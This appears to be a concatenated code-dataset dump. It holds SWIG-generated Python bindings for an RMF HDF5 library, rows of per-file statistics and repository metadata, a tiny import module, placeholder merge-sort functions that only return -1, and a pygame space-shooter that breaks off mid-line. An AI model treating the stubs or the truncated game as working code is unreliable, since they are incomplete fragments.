_RMF_HDF5.Group_get_child_index_data_set_3d(self, *args) def add_child_index_data_set_3d(self, *args): r""" add_child_index_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::IndexTraits,3 > props) -> IndexDataSet3D add_child_index_data_set_3d(Group self, std::string name) -> IndexDataSet3D """ return _RMF_HDF5.Group_add_child_index_data_set_3d(self, *args) def get_child_string_data_set_1d(self, *args): r""" get_child_string_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::StringTraits,1 > props) -> StringDataSet1D get_child_string_data_set_1d(Group self, std::string name) -> StringDataSet1D """ return _RMF_HDF5.Group_get_child_string_data_set_1d(self, *args) def add_child_string_data_set_1d(self, *args): r""" add_child_string_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::StringTraits,1 > props) -> StringDataSet1D add_child_string_data_set_1d(Group self, std::string name) -> StringDataSet1D """ return _RMF_HDF5.Group_add_child_string_data_set_1d(self, *args) def get_child_string_data_set_2d(self, *args): r""" get_child_string_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::StringTraits,2 > props) -> StringDataSet2D get_child_string_data_set_2d(Group self, std::string name) -> StringDataSet2D """ return _RMF_HDF5.Group_get_child_string_data_set_2d(self, *args) def add_child_string_data_set_2d(self, *args): r""" add_child_string_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::StringTraits,2 > props) -> StringDataSet2D add_child_string_data_set_2d(Group self, std::string name) -> StringDataSet2D """ return _RMF_HDF5.Group_add_child_string_data_set_2d(self, *args) def get_child_string_data_set_3d(self, *args): r""" get_child_string_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::StringTraits,3 > props) -> StringDataSet3D get_child_string_data_set_3d(Group self, std::string name) -> StringDataSet3D """ return _RMF_HDF5.Group_get_child_string_data_set_3d(self, *args) def add_child_string_data_set_3d(self, *args): r""" add_child_string_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::StringTraits,3 > props) -> StringDataSet3D add_child_string_data_set_3d(Group self, std::string name) -> StringDataSet3D """ return _RMF_HDF5.Group_add_child_string_data_set_3d(self, *args) def get_child_strings_data_set_1d(self, *args): r""" get_child_strings_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::StringsTraits,1 > props) -> StringsDataSet1D get_child_strings_data_set_1d(Group self, std::string name) -> StringsDataSet1D """ return _RMF_HDF5.Group_get_child_strings_data_set_1d(self, *args) def add_child_strings_data_set_1d(self, *args): r""" add_child_strings_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::StringsTraits,1 > props) -> StringsDataSet1D add_child_strings_data_set_1d(Group self, std::string name) -> StringsDataSet1D """ return _RMF_HDF5.Group_add_child_strings_data_set_1d(self, *args) def get_child_strings_data_set_2d(self, *args): r""" get_child_strings_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::StringsTraits,2 > props) -> StringsDataSet2D get_child_strings_data_set_2d(Group self, std::string name) -> StringsDataSet2D """ return _RMF_HDF5.Group_get_child_strings_data_set_2d(self, *args) def add_child_strings_data_set_2d(self, *args): r""" add_child_strings_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::StringsTraits,2 > props) -> StringsDataSet2D add_child_strings_data_set_2d(Group self, std::string name) -> StringsDataSet2D """ return _RMF_HDF5.Group_add_child_strings_data_set_2d(self, *args) def get_child_strings_data_set_3d(self, *args): r""" get_child_strings_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::StringsTraits,3 > props) -> StringsDataSet3D get_child_strings_data_set_3d(Group self, std::string name) -> StringsDataSet3D """ return _RMF_HDF5.Group_get_child_strings_data_set_3d(self, *args) def add_child_strings_data_set_3d(self, *args): r""" add_child_strings_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::StringsTraits,3 > props) -> StringsDataSet3D add_child_strings_data_set_3d(Group self, std::string name) -> StringsDataSet3D """ return _RMF_HDF5.Group_add_child_strings_data_set_3d(self, *args) def get_child_floats_data_set_1d(self, *args): r""" get_child_floats_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::FloatsTraits,1 > props) -> FloatsDataSet1D get_child_floats_data_set_1d(Group self, std::string name) -> FloatsDataSet1D """ return _RMF_HDF5.Group_get_child_floats_data_set_1d(self, *args) def add_child_floats_data_set_1d(self, *args): r""" add_child_floats_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::FloatsTraits,1 > props) -> FloatsDataSet1D add_child_floats_data_set_1d(Group self, std::string name) -> FloatsDataSet1D """ return _RMF_HDF5.Group_add_child_floats_data_set_1d(self, *args) def get_child_floats_data_set_2d(self, *args): r""" get_child_floats_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::FloatsTraits,2 > props) -> FloatsDataSet2D get_child_floats_data_set_2d(Group self, std::string name) -> FloatsDataSet2D """ return _RMF_HDF5.Group_get_child_floats_data_set_2d(self, *args) def add_child_floats_data_set_2d(self, *args): r""" add_child_floats_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::FloatsTraits,2 > props) -> FloatsDataSet2D add_child_floats_data_set_2d(Group self, std::string name) -> FloatsDataSet2D """ return _RMF_HDF5.Group_add_child_floats_data_set_2d(self, *args) def get_child_floats_data_set_3d(self, *args): r""" get_child_floats_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::FloatsTraits,3 > props) -> FloatsDataSet3D get_child_floats_data_set_3d(Group self, std::string name) -> FloatsDataSet3D """ return _RMF_HDF5.Group_get_child_floats_data_set_3d(self, *args) def add_child_floats_data_set_3d(self, *args): r""" add_child_floats_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::FloatsTraits,3 > props) -> FloatsDataSet3D add_child_floats_data_set_3d(Group self, std::string name) -> FloatsDataSet3D """ return _RMF_HDF5.Group_add_child_floats_data_set_3d(self, *args) def get_child_ints_data_set_1d(self, *args): r""" get_child_ints_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IntsTraits,1 > props) -> IntsDataSet1D get_child_ints_data_set_1d(Group self, std::string name) -> IntsDataSet1D """ return _RMF_HDF5.Group_get_child_ints_data_set_1d(self, *args) def add_child_ints_data_set_1d(self, *args): r""" add_child_ints_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::IntsTraits,1 > props) -> IntsDataSet1D add_child_ints_data_set_1d(Group self, std::string name) -> IntsDataSet1D """ return _RMF_HDF5.Group_add_child_ints_data_set_1d(self, *args) def get_child_ints_data_set_2d(self, *args): r""" get_child_ints_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IntsTraits,2 > props) -> IntsDataSet2D get_child_ints_data_set_2d(Group self, std::string name) -> IntsDataSet2D """ return _RMF_HDF5.Group_get_child_ints_data_set_2d(self, *args) def add_child_ints_data_set_2d(self, *args): r""" add_child_ints_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::IntsTraits,2 > props) -> IntsDataSet2D add_child_ints_data_set_2d(Group self, std::string name) -> IntsDataSet2D """ return _RMF_HDF5.Group_add_child_ints_data_set_2d(self, *args) def get_child_ints_data_set_3d(self, *args): r""" get_child_ints_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IntsTraits,3 > props) -> IntsDataSet3D get_child_ints_data_set_3d(Group self, std::string name) -> IntsDataSet3D """ return _RMF_HDF5.Group_get_child_ints_data_set_3d(self, *args) def add_child_ints_data_set_3d(self, *args): r""" add_child_ints_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::IntsTraits,3 > props) -> IntsDataSet3D add_child_ints_data_set_3d(Group self, std::string name) -> IntsDataSet3D """ return _RMF_HDF5.Group_add_child_ints_data_set_3d(self, *args) def get_child_indexes_data_set_1d(self, *args): r""" get_child_indexes_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IndexesTraits,1 > props) -> IndexesDataSet1D get_child_indexes_data_set_1d(Group self, std::string name) -> IndexesDataSet1D """ return _RMF_HDF5.Group_get_child_indexes_data_set_1d(self, *args) def add_child_indexes_data_set_1d(self, *args): r""" add_child_indexes_data_set_1d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::IndexesTraits,1 > props) -> IndexesDataSet1D add_child_indexes_data_set_1d(Group self, std::string name) -> IndexesDataSet1D """ return _RMF_HDF5.Group_add_child_indexes_data_set_1d(self, *args) def get_child_indexes_data_set_2d(self, *args): r""" get_child_indexes_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IndexesTraits,2 > props) -> IndexesDataSet2D get_child_indexes_data_set_2d(Group self, std::string name) -> IndexesDataSet2D """ return _RMF_HDF5.Group_get_child_indexes_data_set_2d(self, *args) def add_child_indexes_data_set_2d(self, *args): r""" add_child_indexes_data_set_2d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::IndexesTraits,2 > props) -> IndexesDataSet2D add_child_indexes_data_set_2d(Group self, std::string name) -> IndexesDataSet2D """ return _RMF_HDF5.Group_add_child_indexes_data_set_2d(self, *args) def get_child_indexes_data_set_3d(self, *args): r""" get_child_indexes_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetAccessPropertiesD< RMF::HDF5::IndexesTraits,3 > props) -> IndexesDataSet3D get_child_indexes_data_set_3d(Group self, std::string name) -> IndexesDataSet3D """ return _RMF_HDF5.Group_get_child_indexes_data_set_3d(self, *args) def add_child_indexes_data_set_3d(self, *args): r""" add_child_indexes_data_set_3d(Group self, std::string name, RMF::HDF5::DataSetCreationPropertiesD< RMF::HDF5::IndexesTraits,3 > props) -> IndexesDataSet3D add_child_indexes_data_set_3d(Group self, std::string name) -> IndexesDataSet3D """ return _RMF_HDF5.Group_add_child_indexes_data_set_3d(self, *args) def get_child_group(self, *args): r""" get_child_group(Group self, unsigned int i) -> Group get_child_group(Group self, std::string name) -> Group """ return _RMF_HDF5.Group_get_child_group(self, *args) __swig_destroy__ = _RMF_HDF5.delete_Group # Register Group in _RMF_HDF5: _RMF_HDF5.Group_swigregister(Group) class File(Group): r"""Proxy of C++ RMF::HDF5::File class.""" thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc="The membership flag") def __str__(self): r"""__str__(File self) -> std::string""" return _RMF_HDF5.File___str__(self) def __repr__(self): r"""__repr__(File self) -> std::string""" return _RMF_HDF5.File___repr__(self) def __init__(self): r"""__init__(File self) -> File""" _RMF_HDF5.File_swiginit(self, _RMF_HDF5.new_File()) def get_name(self): r"""get_name(File self) -> std::string""" return _RMF_HDF5.File_get_name(self) def flush(self): r"""flush(File self)""" return _RMF_HDF5.File_flush(self) __swig_destroy__ = _RMF_HDF5.delete_File # Register File in _RMF_HDF5: _RMF_HDF5.File_swigregister(File) def create_file(name): r"""create_file(std::string name) -> File""" return _RMF_HDF5.create_file(name) def open_file(name): r"""open_file(std::string name) -> File""" return _RMF_HDF5.open_file(name) def open_file_read_only_returning_nonconst(name): r"""open_file_read_only_returning_nonconst(std::string name) -> File""" return _RMF_HDF5.open_file_read_only_returning_nonconst(name)
43.421287
203
0.707285
36,212
292,920
5.249696
0.01088
0.078432
0.077616
0.018869
0.849344
0.793784
0.741891
0.699372
0.628257
0.490915
0
0.022178
0.174628
292,920
6,745
204
43.427724
0.764121
0.379868
0
0.363275
1
0
0.017291
0
0
0
0
0
0
1
0.278967
false
0
0.001324
0.002428
0.620834
0
0
0
0
null
0
0
0
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
6
9cba306d7cdd6fa18ac160ca3551409adfb78a07
98
py
Python
utils/__init__.py
NoAchache/TextBoxGan
aa04bd12035ff8205df086833e07fc9f0310e09e
[ "MIT" ]
36
2021-03-05T09:50:02.000Z
2021-06-05T15:48:16.000Z
utils/__init__.py
kashimmirza/TextBoxGan
ba7aeef92a0cce2c5a33d259beda038825a4bac4
[ "MIT" ]
null
null
null
utils/__init__.py
kashimmirza/TextBoxGan
ba7aeef92a0cce2c5a33d259beda038825a4bac4
[ "MIT" ]
1
2021-03-14T11:27:14.000Z
2021-03-14T11:27:14.000Z
from utils.tensorboard_writer import TensorboardWriter from utils.loss_tracker import LossTracker
32.666667
54
0.897959
12
98
7.166667
0.75
0.209302
0
0
0
0
0
0
0
0
0
0
0.081633
98
2
55
49
0.955556
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
1438c419e60608b61a54e74d8712eceec2219f27
66
py
Python
python/toy-problems/merge_sort_recursive.py
vinnyhoward/til
8bb0055578220c4d83ddd12ac34bbb2fd3ae000e
[ "MIT" ]
null
null
null
python/toy-problems/merge_sort_recursive.py
vinnyhoward/til
8bb0055578220c4d83ddd12ac34bbb2fd3ae000e
[ "MIT" ]
32
2020-07-16T07:11:35.000Z
2022-02-27T19:01:03.000Z
python/toy-problems/merge_sort_recursive.py
vinnyhoward/til
8bb0055578220c4d83ddd12ac34bbb2fd3ae000e
[ "MIT" ]
null
null
null
def merge(a, b): return -1 def merge_sort(a): return -1
9.428571
18
0.575758
12
66
3.083333
0.583333
0.432432
0
0
0
0
0
0
0
0
0
0.042553
0.287879
66
6
19
11
0.744681
0
0
0.5
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
147e98e51383d6dc58b22ac2e6df35297a0f3123
155,046
py
Python
main.py
eM7RON/Master-Blaster
917ad1f933160a58cfa58e67472081594a6cf941
[ "MIT" ]
null
null
null
main.py
eM7RON/Master-Blaster
917ad1f933160a58cfa58e67472081594a6cf941
[ "MIT" ]
null
null
null
main.py
eM7RON/Master-Blaster
917ad1f933160a58cfa58e67472081594a6cf941
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Modules from operator import itemgetter import pygame, random, math, pickle, datetime, os pygame.init() ######################################################################################################################## ######################################################################################################################## ' **** GLOBAL VARIABLES **** ' ######################################################################################################################## ######################################################################################################################## # PHYSICS drag = 0.999 gravity_angle, gravity_distance = math.pi, 0.002 # DISPLAY/COLOURS # set screen position x, y = 1920 // 4, 1080 // 4 os.environ['SDL_VIDEO_WINDOW_POS'] = "%d,%d" % (x, y) WIDTH, HEIGHT = 768, 432 SCREEN = pygame.display.set_mode((WIDTH, HEIGHT)) pygame.display.set_caption("Master Blaster") WHITE = (255, 255, 255) RED = (255, 0, 0) BLACK = (0, 0, 0) # FONTS TITLE_FONT = pygame.font.Font(os.path.normpath("font/Title font.otf"), 30) NEW_BODY_FONT = pygame.font.Font(os.path.normpath("font/New Body Font.otf"), 20) HEADER_FONT = pygame.font.Font(os.path.normpath("font/Header font.ttf"), 20) BODY_FONT = pygame.font.Font(os.path.normpath("font/Body font.ttf"), 20) BODY_ITALIC_FONT = pygame.font.Font(os.path.normpath("font/Body italic.ttf"), 20) TABLE_FONT = pygame.font.Font(os.path.normpath("font/Body font.ttf"), 13) TABLE_ITALIC_FONT = pygame.font.Font(os.path.normpath("font/Body italic.ttf"), 13) HUD_FONT = pygame.font.SysFont("monospace", 15) # SOUND FX SFX_VOLUME = 1 MUSIC_VOLUME = 1 HIT_SOUND = pygame.mixer.Sound(os.path.normpath("sound/hit.wav")) HIT_SOUND.set_volume(0.1 *SFX_VOLUME) GAME_PAUSED_SOUND = pygame.mixer.Sound(os.path.normpath("sound/Game Paused Sound.ogg")) GAME_PAUSED_SOUND.set_volume(0.8) MENU_SCROLL_SOUND = pygame.mixer.Sound(os.path.normpath("sound/menu scroll sound.wav")) MENU_SCROLL_SOUND.set_volume(0.2) MENU_SELECT_SOUND = pygame.mixer.Sound(os.path.normpath("sound/menu select sound.wav")) MENU_SELECT_SOUND.set_volume(0.3) ######################################################################################################################## ######################################################################################################################## ' **** GLOBAL FUNCTIONS **** ' ######################################################################################################################## ######################################################################################################################## def quit_flag(): dir.quit_flag = True def read_high_scores(): with open(os.path.normpath('data/high scores.txt'), 'rb') as f: high_scores = pickle.load(f) return high_scores def write_high_scores(name, high_score, high_scores): high_scores.append((name, high_score, datetime.datetime.now().strftime('%d/%b/%Y - %H:%M'))) high_scores = sorted(high_scores, key=itemgetter(1), reverse=True)[:10] with open(os.path.normpath('data/high scores.txt'), 'wb') as f: pickle.dump(high_scores, f) def blit_text(surface, text, position, max_width, font, colour): words = text.split() # 2D array where each row is a list of words. space = font.size(' ')[0] # The width of a space. max_width = max_width x, y = position for word in words: word_surface = font.render(word, 0, colour) word_width, word_height = word_surface.get_size() if x + word_width >= max_width: x = position[0] # Reset the x. y += word_height # Start on new row. surface.blit(word_surface, (x, y)) x += word_width + space x = position[0] # Reset the x. y += word_height # Start on new row. def colour(): red = (random.randint(0,190)) green = (random.randint(0,50)) blue = (random.randint(0,255)) colour = (red, green, blue) return colour def lightning_red_stem_colours(): red = (random.randint(150, 255)) green = (random.randint(50, 150)) blue = (random.randint(80, 200)) colour = (red, green, blue) return colour def lightning_red_fork_colours(): red = (random.randint(30, 150)) green = (random.randint(0, 50)) blue = (random.randint(20, 80)) colour = (red, green, blue) return colour def lightning_blue_stem_colours(): red = (random.randint(80, 200)) green = (random.randint(50, 150)) blue = (random.randint(150, 255)) colour = (red, green, blue) return colour def lightning_blue_fork_colours(): red = (random.randint(20, 80)) green = (random.randint(0, 50)) blue = (random.randint(30, 150)) colour = (red, green, blue) return colour def afterburner_colours(): red = (random.randint(220,225)) green = (random.randint(220,255)) blue = (random.randint( 150,255)) colour = (red, green, blue) return colour def explosion_colours(): red = (random.randint(200, 255)) green = (random.randint(0, 200)) blue = (random.randint(0, 255)) colour = (red, green, blue) return colour def damage_colours(): red = (random.randint(0,50)) green = (random.randint(180,210)) blue = (random.randint(200,255)) colour = (red, green, blue) return colour def booster_colours(): red = (random.randint(0,150)) green = (random.randint(25,200)) blue = (random.randint(80,255)) colour = (red, green, blue) return colour def damage(explosion_location, particles): for number in range(random.randint(17, 33)): particle = Particle(explosion_location.x, explosion_location.y - 10, damage_colours(), 2, random.randint(1,4)) particles.append(particle) def explosion(enemy, particles): for number in range(random.randint(17, 53)): particle = Particle(enemy.x, enemy.y, explosion_colours(), random.randint(1, 5), random.randint(1, 4)) particles.append(particle) def glancing_hit(enemy, particles): for number in range(random.randint(3, 7)): particle = Spark(enemy.x, enemy.y, damage_colours(), random.randint(1, 5), 1) particles.append(particle) def vanish(position, particles): for number in range(20): particle = Spark( position*30, HEIGHT - 25, WHITE, 5, 1) particles.append(particle) def sumVectors(angle_1, distance_1, angle_2, distance_2): x = (math.sin(angle_1) * distance_1) + (math.sin(angle_2) * distance_2) y = (math.cos(angle_1) * distance_1) + (math.cos(angle_2) * distance_2) angle = 0.5 * math.pi - math.atan2(y, x) speed = math.hypot(x, y) return (angle, speed) def main_menu_background_update(): afterburner = AfterBurner(main_menu_scene.defender, main_menu_scene.movement_x, main_menu_scene.movement_y) main_menu_scene.particles.append(afterburner) stars_ = random.randint(0, 13) if stars_ == 7: star = Star() main_menu_scene.particles.append(star) booster = Booster(main_menu_scene.defender, main_menu_scene.movement_x, main_menu_scene.movement_y) main_menu_scene.particles.append(booster) main_menu_scene.defender.bounce() for particle in main_menu_scene.particles: if particle.delete(): main_menu_scene.particles.remove(particle) particle.update() def main_menu_background_draw(): for particle in main_menu_scene.particles: particle.display() else: main_menu_scene.defender.display() def display_game(): #this will display the game behind some menus for pickup in game_play_scene.pickups: pickup.display() for i in range(game_play_scene.lives): heart = Heart() heart.display(i) for particle in game_play_scene.particles: particle.display() for projectile in game_play_scene.projectiles: projectile.display() for enemy in game_play_scene.enemies: enemy.display() if (game_play_scene.draw_orientation[0] and game_play_scene.draw_orientation[1]) or (game_play_scene.draw_orientation[2] and game_play_scene.draw_orientation[3]): game_play_scene.defender.display() elif game_play_scene.draw_orientation[0]: game_play_scene.defender.display_right() elif game_play_scene.draw_orientation[1]: game_play_scene.defender.display_left() elif game_play_scene.draw_orientation[2]: game_play_scene.defender.display_forward() elif game_play_scene.draw_orientation[3]: game_play_scene.defender.display_back() else: game_play_scene.defender.display() paused_text = HUD_FONT.render("Paused", 1, (WHITE)) paused_text_width = paused_text.get_rect().width SCREEN.blit(game_play_scene.display_score, (WIDTH *0.84, HEIGHT *0.96)) SCREEN.blit(game_play_scene.selected_weapon_text, (WIDTH *0.01, HEIGHT *0.85)) SCREEN.blit(game_play_scene.ammo_text, (WIDTH *0.01, HEIGHT *0.9)) ######################################################################################################################## ######################################################################################################################## ' **** DIRECTOR **** ' ######################################################################################################################## ######################################################################################################################## class Director: def __init__(self): self.scene = None self.quit_flag = False self.clock = pygame.time.Clock() def loop(self): # Main game loop while not self.quit_flag: time = self.clock.tick(60) mpos1, mpos2 = pygame.mouse.get_pos() # Exit events for event in pygame.event.get(): if event.type == pygame.QUIT: quit_flag() else: self.scene.on_event(event, mpos1, mpos2) # Update scene self.scene.on_update() # Draw the screen self.scene.on_draw(mpos1, mpos2) pygame.display.flip() ######################################################################################################################## ######################################################################################################################## ' **** PARTICLE CLASSES **** ' ######################################################################################################################## ######################################################################################################################## class Particle: def __init__(self, x, y, colours, speed, size): self.x = x self.origin_x, self.origin_y = x, y self.y = y self.distance = 0 self.size = size self.colour = colours self.thickness = 1 self.speed = speed self.angle = random.uniform(0, math.pi*2) self.shrink_tally = 0 self.distance_one = random.randint(17, 33) self.distance_two = random.randint(33, 66) self.distance_three = random.randint(66, 99) self.distance_four = random.randint(99, 133) def display(self): pygame.draw.circle(SCREEN, self.colour, (int(self.x), int(self.y)), self.size, self.thickness) def update(self): (self.angle, self.speed) = sumVectors(self.angle, self.speed, gravity_angle, gravity_distance) self.x += math.sin(self.angle) * self.speed self.y -= math.cos(self.angle) * self.speed self.speed *= drag dx = self.x - self.origin_x dy = self.y - self.origin_y self.distance = math.hypot(dx, dy) if self.distance > self.distance_one and self.size > 1 and self.shrink_tally == 0: self.size += -1 self.shrink_tally += 1 if self.distance > self.distance_two and self.size > 1 and self.shrink_tally < 2: self.size += -1 self.shrink_tally += 1 if self.distance > self.distance_three and self.size > 1 and self.shrink_tally < 3: self.size += -1 self.shrink_tally += 1 def delete(self): if self.distance > self.distance_four: return True else: return False class Spark(Particle): def delete(self): self.distance_one = 20 if self.distance > self.distance_one: return True else: return False class Star: def __init__(self): self.x = random.randint(1, WIDTH) self.y = 0 self.size = 1 self.thickness = 4 self.speed = random.uniform(2, 20) self.angle = math.pi def display(self): pygame.draw.rect(SCREEN, WHITE, (self.x, self.y, self.size, self.thickness)) def update(self): self.y += self.speed def delete(self): if self.y >HEIGHT + 10: return True else: return False class Booster(Star): def __init__(self, defender, movement_x, movement_y): self.movement_x = movement_x self.movement_y = movement_y self.origin_x, self.origin_y = defender.x, defender.y def which_booster(i): if i[0]: booster, a, b = defender.y, 3, 1 else: booster, a, b = defender.x, 4, 2 which_booster = random.randint(1, 2) if which_booster == 1: coordinate = random.uniform((booster - a *defender.size) + 1, (booster - b *defender.size )- 1) else: coordinate = random.uniform((booster + b *defender.size) + 1, (booster + a *defender.size) - 1) if i[0] and i[1]: self.x = defender.x + 4*defender.size self.y = coordinate elif i[0] and not i[1]: self.x = defender.x - 4*defender.size self.y = coordinate elif i[1] and not i[0]: self.x = coordinate self.y = defender.y - 3*defender.size else: self.y = defender.y + 3*defender.size self.x = coordinate return self.x, self.y if self.movement_y[1] and not self.movement_y[0]: which_booster([False, True]) elif not self.movement_y[0] and not self.movement_y[1]: if self.movement_x[0] and not self.movement_x[1]: which_booster([True,True]) elif self.movement_x[1] and not self.movement_x[0]: which_booster([True, False]) else: which_booster([False, False]) else: which_booster([False, False]) dx = self.x - self.origin_x dy = self.y - self.origin_y self.distance = math.hypot(dx, dy) self.size = random.randint(1, 6) self.colour = booster_colours() self.thickness = 1 self.speed = 5 self.shrink_tally = 0 self.distance_one = random.randint(10, 20) self.distance_two = random.randint(20, 30) self.distance_three = random.randint(30, 40) self.distance_four = random.randint(40, 50) def display(self): pygame.draw.circle(SCREEN, self.colour, (int(self.x), int(self.y)), self.size, self.thickness) def update(self): if self.movement_y[1] and not self.movement_y[0]: self.y += -self.speed elif not self.movement_y[0] and not self.movement_y[1]: if self.movement_x[0] and not self.movement_x[1]: self.x += self.speed elif self.movement_x[1] and not self.movement_x[0]: self.x += -self.speed else: self.y += self.speed else: self.y += self.speed dx = self.x - self.origin_x dy = self.y - self.origin_y self.distance = math.hypot(dx, dy) if self.distance > self.distance_one and self.size > 1 and self.shrink_tally == 0: self.size += -1 self.shrink_tally += 1 if self.distance > self.distance_two and self.size > 1 and self.shrink_tally < 2: self.size += -1 self.shrink_tally += 1 if self.distance > self.distance_three and self.size > 1 and self.shrink_tally < 3: self.size += -1 self.shrink_tally += 1 def delete(self): if self.distance > self.distance_four: return True else: return False class AfterBurner(Booster): def __init__(self, defender, movement_x, movement_y): n = random.randint(0, 2) self.speed = 7 self.y = defender.y + 4 * defender.size self.x = random.uniform((defender.x - defender.size) + 1, (defender.x + defender.size )- 1) self.movement_x = movement_x self.movement_y = movement_y self.origin_x, self.origin_y = defender.x, defender.y dx = self.x - self.origin_x dy = self.y - self.origin_y self.distance = math.hypot(dx, dy) self.size = random.randint(2, 4) if n == 2: self.colour = afterburner_colours() else: self.colour = booster_colours() self.thickness = 1 self.speed = 5 self.shrink_tally = 0 self.distance_one = random.randint(10, 20) self.distance_two = random.randint(30, 40) self.distance_three = random.randint(40, 60) self.distance_four = random.randint(60, 80) def display(self): pygame.draw.circle(SCREEN, self.colour, (int(self.x), int(self.y)), self.size, self.thickness) class RocketBooster(Star): def __init__(self, rocket): self.speed = 7 self.y = rocket.y + 1 * rocket.size self.x = random.uniform(rocket.x + 1, rocket.x + rocket.size - 1) self.origin_x, self.origin_y = rocket.x, rocket.y self.distance = 0 self.size = random.randint(2, 4) self.colour = damage_colours() self.thickness = 1 self.speed = 5 self.shrink_tally = 0 self.distance_one = random.randint(10, 20) self.distance_two = random.randint(30, 40) self.distance_three = random.randint(40, 60) self.distance_four = random.randint(60, 80) def display(self): pygame.draw.circle(SCREEN, self.colour, (int(self.x), int(self.y)), self.size, self.thickness) def update(self): self.y += self.speed dx = self.x - self.origin_x dy = self.y - self.origin_y self.distance = math.hypot(dx, dy) if self.distance > self.distance_one and self.size > 1 and self.shrink_tally == 0: self.size += -1 self.shrink_tally += 1 if self.distance > self.distance_two and self.size > 1 and self.shrink_tally < 2: self.size += -1 self.shrink_tally += 1 if self.distance > self.distance_three and self.size > 1 and self.shrink_tally < 3: self.size += -1 self.shrink_tally += 1 def delete(self): if self.distance > self.distance_four: return True else: return False class ElectricalDischarge(): def __init__(self, x1, y1, x2, y2, stem_colour, fork_colour, angle): self.segments = [] self.new_segments = [] self.stem_colour = stem_colour self.fork_colour = fork_colour self.life_time = random.uniform(0.01, 0.1) self.initial_time = pygame.time.get_ticks() angle = angle hit_radius = 3 origin_radius = 1 hit_angle = random.uniform(0, math.pi*2) x1 = x1 + origin_radius *math.sin(hit_angle) y1 = y1 - origin_radius *math.cos(hit_angle) x2 = x2 + hit_radius *math.sin(hit_angle) y2 = y2 - hit_radius *math.cos(hit_angle) size = math.hypot(x1-x2, y1-y2) i = 100 segment = [(x1, y1), (x2, y2), (size), (angle), (i), (True)] self.segments.append(segment) for n in range(5): for new_segment in self.new_segments: self.segments.append(new_segment) self.new_segments[:] = [] for segment in self.segments: x1, y1 = segment[0] x3, y3 = segment[1] size = segment[2] *0.5 xi = (x1 + x3) / 2 yi = (y1 + y3) / 2 i = segment[4] *0.5 perpendicular_angle = segment[3] -0.1 offset = random.uniform(-i, i) size1 = math.sqrt(size**2 + offset**2) x2 = xi + offset *math.sin(perpendicular_angle) y2 = yi - offset *math.cos(perpendicular_angle) angle1 = segment[3] + math.copysign(math.acos(size /size1), -offset) angle2 = segment[3] - math.copysign(math.acos(abs(offset) /size1), -offset) if segment[5]: segment1 = [(x1, y1), (x2, y2), (size1), (angle1), (i), (True)] segment2 = [(x2, y2), (x3, y3), (size1), (angle2), (i), (True)] else: segment1 = [(x1, y1), (x2, y2), (size1), (angle1), (i), (False)] segment2 = [(x2, y2), (x3, y3), (size1), (angle2), (i), (False)] self.new_segments.append(segment1) self.new_segments.append(segment2) got_fork = random.randint(1, 3) if got_fork == 3: size2 = size1 *random.uniform(0.7, 0.8) fork_angle = angle + random.uniform(-0.5, 0.5) x4 = x2 + size2 *math.sin(fork_angle) y4 = y2 - size2 *math.cos(fork_angle) segment3 = [(x2, y2), (x4, y4), (size2), (fork_angle), (i), (False)] self.new_segments.append(segment3) self.segments[:] = [] self.segments[:] = [] for segment in self.new_segments: self.segments.append(segment) def display(self): for segment in self.segments: if segment[5]: pygame.draw.line(SCREEN, 